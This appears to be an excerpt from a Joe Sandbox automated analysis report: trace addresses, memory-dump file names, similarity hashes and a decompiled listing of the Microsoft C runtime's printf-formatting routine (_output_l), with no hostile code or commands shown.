0x0043bf9a
0x0043bf9a
0x0043bfa6
0x0043bfac
0x0043bfb1
0x0043bfb3
0x0043c05d
0x0043c05d
0x0043c060
0x0043c060
0x0043c063
0x0043c077
0x0043c07d
0x0043c083
0x0043c065
0x0043c065
0x0043c06b
0x0043c072
0x0043c072
0x0043c085
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x0043bfb9
0x0043bfb9
0x0043bfb9
0x0043bfbb
0x0043bfc9
0x0043bfbd
0x0043bfbd
0x0043bfbd
0x0043bfd3
0x0043bfd9
0x0043bfdf
0x0043bfe6
0x0043bfe8
0x0043bfed
0x0043bfef
0x0043bff4
0x0043bff9
0x0043bffb
0x0043c000
0x0043c003
0x0043c006
0x0043c008
0x0043c008
0x0043c006
0x0043c009
0x0043c010
0x0043c058
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c012
0x0043c012
0x0043c017
0x0043c033
0x0043c03b
0x0043c045
0x0043c048
0x0043c04d
0x00000000
0x0043c04d
0x00000000
0x0043c2a4
0x0043c2a4
0x0043c2ae
0x0043c2ae
0x0043c2b4
0x0043c2b6
0x0043c2b9
0x0043c2b9
0x0043c2bf
0x0043c2bf
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043be6d
0x0043be6d
0x0043be71
0x0043be7f
0x0043be82
0x0043be73
0x0043be73
0x0043be73
0x0043be88
0x0043be8e
0x0043be94
0x0043bea0
0x0043bea6
0x0043bea6
0x0043bea9
0x0043bf31
0x0043bf31
0x0043bf35
0x0043bf37
0x0043bf3d
0x0043bf3d
0x0043bf40
0x0043bf47
0x0043bf4a
0x0043bf50
0x0043bf50
0x0043bf50
0x0043bf56
0x0043bf5c
0x0043bf5f
0x0043bf65
0x0043bf67
0x00000000
0x00000000
0x0043bf69
0x0043bf69
0x0043bf6f
0x0043bf72
0x0043bf74
0x00000000
0x00000000
0x0043bf76
0x0043bf7c
0x0043bf7f
0x0043bf7f
0x0043bf87
0x0043bf87
0x0043bf8d
0x0043bf8d
0x0043bf92
0x00000000
0x0043beaf
0x0043beaf
0x0043beaf
0x0043beb3
0x0043beb5
0x0043beba
0x0043beba
0x0043bebd
0x0043bec0
0x0043bec6
0x0043bed8
0x0043bed8
0x0043bed8
0x0043bedb
0x0043bee1
0x00000000
0x00000000
0x0043bee3
0x0043bee3
0x0043bee9
0x0043beec
0x0043beee
0x00000000
0x00000000
0x0043bef0
0x0043bef0
0x0043bef9
0x0043beff
0x0043bf03
0x0043bf0b
0x0043bf0d
0x0043bf0f
0x0043bf15
0x0043bf15
0x0043bf18
0x0043bf18
0x0043bf24
0x0043bf27
0x0043becf
0x0043bed2
0x0043bed2
0x0043bed5
0x0043bed5
0x0043bf2f
0x0043bf95
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x0043c550
0x00000000
0x0043c24d
0x0043c24d
0x0043c2c2
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x00000000
0x00000000
0x00000000
0x0043c39e
0x00000000
0x0043c269
0x0043c269
0x0043c273
0x0043c273
0x0043c27d
0x0043c27d
0x0043c283
0x0043c285
0x0043c28a
0x0043c294
0x0043c294
0x0043c297
0x0043c29b
0x0043c29b
0x0043c2c2
0x0043c2c2
0x0043c2c5
0x0043c2c5
0x0043c2ca
0x0043c2ec
0x0043c2ec
0x0043c2f2
0x0043c314
0x0043c314
0x0043c317
0x0043c35e
0x0043c35e
0x0043c361
0x0043c37e
0x0043c382
0x0043c38a
0x0043c38a
0x0043c38c
0x0043c392
0x0043c363
0x0043c363
0x0043c367
0x0043c36f
0x0043c370
0x0043c376
0x0043c376
0x0043c319
0x0043c31c
0x0043c31c
0x0043c31f
0x0043c33d
0x0043c349
0x0043c34c
0x0043c34d
0x0043c353
0x0043c321
0x0043c321
0x0043c325
0x0043c32d
0x0043c32e
0x0043c32f
0x0043c335
0x0043c335
0x0043c359
0x0043c2f4
0x0043c2f4
0x0043c300
0x0043c306
0x0043c306
0x0043c2cc
0x0043c2cc
0x0043c2d8
0x0043c2de
0x0043c2de
0x0043c39b
0x0043c39b
0x0043c39e
0x00000000
0x00000000
0x00000000
0x0043c39e
0x00000000
0x0043c550
0x0043c550
0x0043c550
0x0043c554
0x00000000
0x00000000
0x00000000
0x0043c554
0x00000000
0x00000000
0x0043bad9
0x0043bad9
0x0043badc
0x0043badf
0x00000000
0x00000000
0x0043bae4
0x0043bae7
0x0043baed
0x00000000
0x00000000
0x0043bace
0x0043bad1
0x0043bad4
0x00000000
0x00000000
0x0043bac3
0x0043bac6
0x0043bac9
0x00000000
0x00000000
0x0043baf2
0x0043baf2
0x0043baf5
0x0043baf5
0x0043baf8
0x00000000
0x00000000
0x0043bafb
0x00000000
0x00000000
0x0043b96b
0x0043b96b
0x0043b96d
0x0043b97b
0x0043b96f
0x0043b96f
0x0043b96f
0x0043b98b
0x0043b998
0x0043b99a
0x0043b99f
0x0043b9a1
0x0043b9a6
0x0043b9ab
0x0043b9ad
0x0043b9b2
0x0043b9b8
0x0043b9ba
0x0043b9ba
0x0043b9b8
0x0043b9bb
0x0043b9c2
0x00000000
0x0043b9c4
0x0043b9c9
0x0043b9e5
0x0043b9ed
0x0043b9fa
0x0043b9ff
0x0043c814
0x0043c821
0x0043c821
0x0043b9c2
0x0043b965
0x0043c750
0x0043c750
0x0043c757
0x0043c76e
0x0043c76e
0x0043c778
0x0043c778
0x0043c77e
0x0043c784
0x0043c78b
0x0043c78d
0x0043c792
0x0043c794
0x0043c799
0x0043c79e
0x0043c7a0
0x0043c7a5
0x0043c7a8
0x0043c7ab
0x0043c7ad
0x0043c7ad
0x0043c7ab
0x0043c7ae
0x0043c7b5
0x0043c800
0x0043c809
0x0043c80e
0x0043c7b7
0x0043c7bc
0x0043c7d8
0x0043c7e0
0x0043c7ed
0x0043c7f2
0x0043c7f2
0x00000000
0x0043c7b5
0x0043c759
0x0043c759
0x0043c760
0x00000000
0x00000000
0x0043c762
0x0043c762
0x00000000
0x0043c762
0x0043c550
0x0043c527
0x0043c527
0x0043c52b
0x0043c538
0x0043c53b
0x0043c53e
0x0043c541
0x0043c544
0x0043c547
0x0043c54a
0x0043c54a
0x0043c54d
0x00000000
0x0043c54d
0x0043c52d
0x0043c52d
0x0043c530
0x0043c533
0x0043c536
0x00000000
0x00000000
0x00000000
0x0043c536
0x0043c48c
0x0043c48c
0x0043c48f
0x0043c492
0x0043c499
0x0043c4a0
0x0043c4a8
0x0043c4ae
0x0043c4b1
0x0043c4b4
0x0043c4bb
0x0043c4c7
0x0043c4cd
0x0043c4d3
0x0043c4da
0x0043c4dc
0x0043c4e2
0x0043c4e2
0x0043c4e8
0x0043c4e8
0x0043c4ee
0x0043c4f7
0x0043c4fc
0x0043c4ff
0x0043c46e
0x0043c46e
0x0043c474
0x0043c477
0x0043c47a
0x0043c47c
0x00000000
0x00000000
0x00000000
0x0043c47c
0x0043c46e
0x0043c3ab
0x0043c3ab
0x0043c3b2
0x00000000
0x00000000
0x00000000
0x0043c3e0
0x0043c3e0
0x0043c3e6
0x0043c3ec
0x0043c3f2
0x00000000
0x0043c3f2
0x0043c2c2
0x0043c273
0x0043c25d

APIs

_get_int64_arg.LIBCMTD ref: 0043C2D0
__aullrem.LIBCMT ref: 0043C4A0
__aulldiv.LIBCMT ref: 0043C4C2

Strings

9, xrefs: 0043C4D3

Memory Dump Source

Source File: 00000015.00000002.390111447.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000015.00000002.390089776.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000015.00000002.390253520.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390284837.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000015.00000002.390298973.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_400000_8939.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction ID: 9c6f82f0a1bae66fcc5bddbe8b9af3930cb1e8edfa4f1d12a88b039507ddd9dc
Opcode Fuzzy Hash: a45bf9ffedb1c13bae317dfab0017e0f9bc5b40c5b13e368e178c00019d18cb5
Instruction Fuzzy Hash: 7D4105B1E10229DFDB24CF58C991BAEB7B4FF89314F10919AD148BB241C7385A85CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 00427C1D, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427C1D() {
				signed int _t476;
				signed int _t497;
				signed int _t532;
				signed int _t545;
				signed int _t549;
				signed short _t550;
				signed int _t553;
				signed int _t556;
				signed int _t557;
				signed int _t605;
				signed int _t613;
				signed int _t615;
				signed int _t617;
				signed int _t624;
				signed int _t628;
				signed int _t665;
				signed int _t668;
				void* _t670;

				L0:
				while(1) {
					L0:
					 *(_t668 - 8) = 8;
					if(( *(_t668 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L144:
						__eflags =  *(_t668 - 0x10) & 0x00008000;
						if(( *(_t668 - 0x10) & 0x00008000) == 0) {
							_t615 =  *(_t668 - 0x10) & 0x00001000;
							__eflags = _t615;
							if(_t615 == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00000020;
								if(( *(_t668 - 0x10) & 0x00000020) == 0) {
									_t617 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t617;
									if(_t617 == 0) {
										_t476 = E00428200(_t668 + 0x14);
										_t670 = _t670 + 4;
										__eflags = 0;
										 *(_t668 - 0x2b0) = _t476;
										 *(_t668 - 0x2ac) = 0;
									} else {
										_t549 = E00428200(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t549;
										 *(_t668 - 0x2ac) = _t617;
									}
								} else {
									_t665 =  *(_t668 - 0x10) & 0x00000040;
									__eflags = _t665;
									if(_t665 == 0) {
										_t550 = E00428200(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t550 & 0x0000ffff;
										 *(_t668 - 0x2ac) = _t665;
									} else {
										_t553 = E00428200(_t668 + 0x14);
										_t670 = _t670 + 4;
										asm("cdq");
										 *(_t668 - 0x2b0) = _t553;
										 *(_t668 - 0x2ac) = _t665;
									}
								}
							} else {
								_t556 = E00428220(_t668 + 0x14);
								_t670 = _t670 + 4;
								 *(_t668 - 0x2b0) = _t556;
								 *(_t668 - 0x2ac) = _t615;
							}
						} else {
							_t557 = E00428220(_t668 + 0x14);
							_t670 = _t670 + 4;
							 *(_t668 - 0x2b0) = _t557;
							 *(_t668 - 0x2ac) = _t613;
						}
						__eflags =  *(_t668 - 0x10) & 0x00000040;
						if(( *(_t668 - 0x10) & 0x00000040) == 0) {
							goto L161;
						}
						L157:
						__eflags =  *(_t668 - 0x2ac);
						if(__eflags > 0) {
							goto L161;
						}
						L158:
						if(__eflags < 0) {
							L160:
							asm("adc edx, 0x0");
							 *(_t668 - 0x2b8) =  ~( *(_t668 - 0x2b0));
							 *(_t668 - 0x2b4) =  ~( *(_t668 - 0x2ac));
							 *(_t668 - 0x10) =  *(_t668 - 0x10) | 0x00000100;
							L162:
							__eflags =  *(_t668 - 0x10) & 0x00008000;
							if(( *(_t668 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t668 - 0x10) & 0x00001000;
								if(( *(_t668 - 0x10) & 0x00001000) == 0) {
									_t545 =  *(_t668 - 0x2b4) & 0x00000000;
									__eflags = _t545;
									 *(_t668 - 0x2b4) = _t545;
								}
							}
							__eflags =  *(_t668 - 0x30);
							if( *(_t668 - 0x30) >= 0) {
								 *(_t668 - 0x10) =  *(_t668 - 0x10) & 0xfffffff7;
								__eflags =  *(_t668 - 0x30) - 0x200;
								if( *(_t668 - 0x30) > 0x200) {
									 *(_t668 - 0x30) = 0x200;
								}
							} else {
								 *(_t668 - 0x30) = 1;
							}
							__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
							if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
								 *(_t668 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t668 - 4)) = _t668 - 0x49;
							while(1) {
								L172:
								_t623 =  *(_t668 - 0x30) - 1;
								 *(_t668 - 0x30) =  *(_t668 - 0x30) - 1;
								__eflags =  *(_t668 - 0x30);
								if( *(_t668 - 0x30) > 0) {
									goto L174;
								}
								L173:
								__eflags =  *(_t668 - 0x2b8) |  *(_t668 - 0x2b4);
								if(( *(_t668 - 0x2b8) |  *(_t668 - 0x2b4)) == 0) {
									L177:
									 *(_t668 - 0x24) = _t668 - 0x49 -  *((intOrPtr*)(_t668 - 4));
									 *((intOrPtr*)(_t668 - 4)) =  *((intOrPtr*)(_t668 - 4)) + 1;
									__eflags =  *(_t668 - 0x10) & 0x00000200;
									if(( *(_t668 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L181:
											__eflags =  *(_t668 - 0x28);
											if( *(_t668 - 0x28) != 0) {
												goto L207;
											}
											L182:
											__eflags =  *(_t668 - 0x10) & 0x00000040;
											if(( *(_t668 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000100;
												if(( *(_t668 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000001;
													if(( *(_t668 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t668 - 0x10) & 0x00000002;
														if(( *(_t668 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t668 - 0x14)) = 0x20;
															 *(_t668 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t668 - 0x14)) = 0x2b;
														 *(_t668 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t668 - 0x14)) = 0x2d;
													 *(_t668 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t668 - 0x2bc)) =  *((intOrPtr*)(_t668 - 0x18)) -  *(_t668 - 0x24) -  *(_t668 - 0x1c);
											__eflags =  *(_t668 - 0x10) & 0x0000000c;
											if(( *(_t668 - 0x10) & 0x0000000c) == 0) {
												E004355C0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
											}
											E00435600( *(_t668 - 0x1c), _t668 - 0x14,  *(_t668 - 0x1c),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
											_t670 = _t670 + 0x10;
											__eflags =  *(_t668 - 0x10) & 0x00000008;
											if(( *(_t668 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t668 - 0x10) & 0x00000004;
												if(( *(_t668 - 0x10) & 0x00000004) == 0) {
													E004355C0(0x30,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
													_t670 = _t670 + 0x10;
												}
											}
											__eflags =  *(_t668 - 0xc);
											if( *(_t668 - 0xc) == 0) {
												L203:
												E00435600( *((intOrPtr*)(_t668 - 4)),  *((intOrPtr*)(_t668 - 4)),  *(_t668 - 0x24),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
												_t670 = _t670 + 0x10;
												goto L204;
											} else {
												L195:
												__eflags =  *(_t668 - 0x24);
												if( *(_t668 - 0x24) <= 0) {
													goto L203;
												}
												L196:
												 *(_t668 - 0x2d4) = 0;
												 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 4));
												 *(_t668 - 0x2c4) =  *(_t668 - 0x24);
												while(1) {
													L197:
													 *(_t668 - 0x2c4) =  *(_t668 - 0x2c4) - 1;
													__eflags =  *(_t668 - 0x2c4);
													if( *(_t668 - 0x2c4) == 0) {
														break;
													}
													L198:
													 *(_t668 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t668 - 0x2c0))));
													_t532 = E004340D0(_t668 - 0x2c8, _t668 - 0x2d0, 6,  *(_t668 - 0x316) & 0x0000ffff);
													_t670 = _t670 + 0x10;
													 *(_t668 - 0x2d4) = _t532;
													 *((intOrPtr*)(_t668 - 0x2c0)) =  *((intOrPtr*)(_t668 - 0x2c0)) + 2;
													__eflags =  *(_t668 - 0x2d4);
													if( *(_t668 - 0x2d4) != 0) {
														L200:
														 *(_t668 - 0x24c) = 0xffffffff;
														break;
													}
													L199:
													__eflags =  *(_t668 - 0x2c8);
													if( *(_t668 - 0x2c8) != 0) {
														L201:
														E00435600( *((intOrPtr*)(_t668 + 8)), _t668 - 0x2d0,  *(_t668 - 0x2c8),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
														continue;
													}
													goto L200;
												}
												L202:
												L204:
												__eflags =  *(_t668 - 0x24c);
												if( *(_t668 - 0x24c) >= 0) {
													__eflags =  *(_t668 - 0x10) & 0x00000004;
													if(( *(_t668 - 0x10) & 0x00000004) != 0) {
														E004355C0(0x20,  *((intOrPtr*)(_t668 - 0x2bc)),  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
														_t670 = _t670 + 0x10;
													}
												}
											}
											L207:
											__eflags =  *(_t668 - 0x20);
											if( *(_t668 - 0x20) != 0) {
												L0041C3E0( *(_t668 - 0x20), 2);
												_t670 = _t670 + 8;
												 *(_t668 - 0x20) = 0;
											}
											while(1) {
												L209:
												 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
												 *((intOrPtr*)(_t668 + 0xc)) =  *((intOrPtr*)(_t668 + 0xc)) + 1;
												if( *(_t668 - 0x251) == 0 ||  *(_t668 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t668 - 0x251) < 0x20 ||  *(_t668 - 0x251) > 0x78) {
														 *(_t668 - 0x2fc) = 0;
													} else {
														 *(_t668 - 0x2fc) =  *( *(_t668 - 0x251) + 0x404460) & 0x0000000f;
													}
												}
												L7:
												 *(_t668 - 0x250) =  *(_t668 - 0x2fc);
												_t20 =  *(_t668 - 0x250) * 8; // 0x6000006
												 *(_t668 - 0x25c) =  *( *(_t668 - 0x25c) + _t20 + 0x404480) >> 4;
												 *(_t668 - 0x300) =  *(_t668 - 0x25c);
												if( *(_t668 - 0x300) > 7) {
													continue;
												}
												L8:
												switch( *((intOrPtr*)( *(_t668 - 0x300) * 4 +  &M004280F8))) {
													case 0:
														L9:
														 *(_t668 - 0xc) = 0;
														_t502 = E004310C0( *(_t668 - 0x251) & 0x000000ff, E0041ACF0(_t668 - 0x40));
														_t672 = _t670 + 8;
														if(_t502 == 0) {
															L15:
															E00435520( *(_t668 - 0x251) & 0x000000ff,  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t670 = _t672 + 0xc;
															goto L209;
														} else {
															E00435520( *((intOrPtr*)(_t668 + 8)),  *(_t668 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t668 + 8)), _t668 - 0x24c);
															_t672 = _t672 + 0xc;
															_t584 =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															 *(_t668 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t668 + 0xc))));
															_t631 =  *((intOrPtr*)(_t668 + 0xc)) + 1;
															 *((intOrPtr*)(_t668 + 0xc)) = _t631;
															asm("sbb eax, eax");
															 *(_t668 - 0x278) =  ~( ~( *(_t668 - 0x251)));
															if(_t631 == 0) {
																_push(L"(ch != _T(\'\\0\'))");
																_push(0);
																_push(0x486);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t514 = L0041E220();
																_t672 = _t672 + 0x14;
																if(_t514 == 1) {
																	asm("int3");
																}
															}
															L13:
															if( *(_t668 - 0x278) != 0) {
																goto L15;
															} else {
																 *((intOrPtr*)(L00422D10(_t584))) = 0x16;
																E00422AA0(_t558, _t584, _t666, _t667, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																 *(_t668 - 0x2e4) = 0xffffffff;
																E0041ACC0(_t668 - 0x40);
																_t497 =  *(_t668 - 0x2e4);
																goto L211;
															}
														}
													case 1:
														L16:
														 *(__ebp - 0x2c) = 0;
														__edx =  *(__ebp - 0x2c);
														 *(__ebp - 0x28) =  *(__ebp - 0x2c);
														__eax =  *(__ebp - 0x28);
														 *(__ebp - 0x18) =  *(__ebp - 0x28);
														__ecx =  *(__ebp - 0x18);
														 *(__ebp - 0x1c) = __ecx;
														 *(__ebp - 0x10) = 0;
														 *(__ebp - 0x30) = 0xffffffff;
														 *(__ebp - 0xc) = 0;
														goto L209;
													case 2:
														L17:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
														__eflags =  *(__ebp - 0x304) - 0x10;
														if( *(__ebp - 0x304) > 0x10) {
															goto L24;
														}
														L18:
														__ecx =  *(__ebp - 0x304);
														_t64 = __ecx + 0x428130; // 0x498d04
														__edx =  *_t64 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t64 & 0x000000ff) * 4 +  &M00428118))) {
															case 0:
																goto L21;
															case 1:
																goto L22;
															case 2:
																goto L20;
															case 3:
																goto L19;
															case 4:
																goto L23;
															case 5:
																goto L24;
														}
													case 3:
														L25:
														__edx =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__eax =  *(__ebp - 0x18);
															__eax =  *(__ebp - 0x18) * 0xa;
															__eflags = __eax;
															__ecx =  *((char*)(__ebp - 0x251));
															_t88 = __ecx - 0x30; // -48
															__edx = __eax + _t88;
															 *(__ebp - 0x18) = __eax + _t88;
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x18) = E00428200(__ebp + 0x14);
															__eflags =  *(__ebp - 0x18);
															if( *(__ebp - 0x18) < 0) {
																__ecx =  *(__ebp - 0x10);
																__ecx =  *(__ebp - 0x10) | 0x00000004;
																__eflags = __ecx;
																 *(__ebp - 0x10) = __ecx;
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
															}
														}
														L30:
														goto L209;
													case 4:
														L31:
														 *(__ebp - 0x30) = 0;
														goto L209;
													case 5:
														L32:
														__eax =  *((char*)(__ebp - 0x251));
														__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
														if( *((char*)(__ebp - 0x251)) != 0x2a) {
															__edx =  *(__ebp - 0x30);
															__edx =  *(__ebp - 0x30) * 0xa;
															__eflags = __edx;
															_t99 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
															__ecx = __edx + _t99;
															 *(__ebp - 0x30) = __ecx;
														} else {
															__ecx = __ebp + 0x14;
															 *(__ebp - 0x30) = E00428200(__ebp + 0x14);
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) < 0) {
																 *(__ebp - 0x30) = 0xffffffff;
															}
														}
														goto L209;
													case 6:
														L38:
														__edx =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
														__eflags =  *(__ebp - 0x308) - 0x2e;
														if( *(__ebp - 0x308) > 0x2e) {
															L61:
															goto L209;
														}
														L39:
														__ecx =  *(__ebp - 0x308);
														_t107 = __ecx + 0x428158; // 0x7a0f9003
														__edx =  *_t107 & 0x000000ff;
														switch( *((intOrPtr*)(( *_t107 & 0x000000ff) * 4 +  &M00428144))) {
															case 0:
																L44:
																__edx =  *(__ebp + 0xc);
																__eax =  *( *(__ebp + 0xc));
																__eflags =  *( *(__ebp + 0xc)) - 0x36;
																if( *( *(__ebp + 0xc)) != 0x36) {
																	L47:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x33;
																	if( *( *(__ebp + 0xc)) != 0x33) {
																		L50:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x64;
																		if( *( *(__ebp + 0xc)) == 0x64) {
																			L56:
																			L58:
																			goto L61;
																		}
																		L51:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x69;
																		if( *__ecx == 0x69) {
																			goto L56;
																		}
																		L52:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6f;
																		if(__ecx == 0x6f) {
																			goto L56;
																		}
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x75;
																		if( *( *(__ebp + 0xc)) == 0x75) {
																			goto L56;
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *__ecx;
																		__eflags =  *__ecx - 0x78;
																		if( *__ecx == 0x78) {
																			goto L56;
																		}
																		L55:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x58;
																		if(__ecx != 0x58) {
																			 *(__ebp - 0x25c) = 0;
																			goto L9;
																		}
																		goto L56;
																	}
																	L48:
																	__ecx =  *(__ebp + 0xc);
																	__edx =  *((char*)(__ecx + 1));
																	__eflags =  *((char*)(__ecx + 1)) - 0x32;
																	if( *((char*)(__ecx + 1)) != 0x32) {
																		goto L50;
																	} else {
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																		 *(__ebp - 0x10) = __ecx;
																		goto L58;
																	}
																}
																L45:
																__ecx =  *(__ebp + 0xc);
																__edx =  *((char*)(__ecx + 1));
																__eflags =  *((char*)(__ecx + 1)) - 0x34;
																if( *((char*)(__ecx + 1)) != 0x34) {
																	goto L47;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00008000;
																	 *(__ebp - 0x10) = __ecx;
																	goto L58;
																}
															case 1:
																L59:
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																goto L61;
															case 2:
																L40:
																__eax =  *(__ebp + 0xc);
																__ecx =  *( *(__ebp + 0xc));
																__eflags = __ecx - 0x6c;
																if(__ecx != 0x6c) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000010;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																} else {
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																}
																goto L61;
															case 3:
																L60:
																__eax =  *(__ebp - 0x10);
																__eax =  *(__ebp - 0x10) | 0x00000800;
																__eflags = __eax;
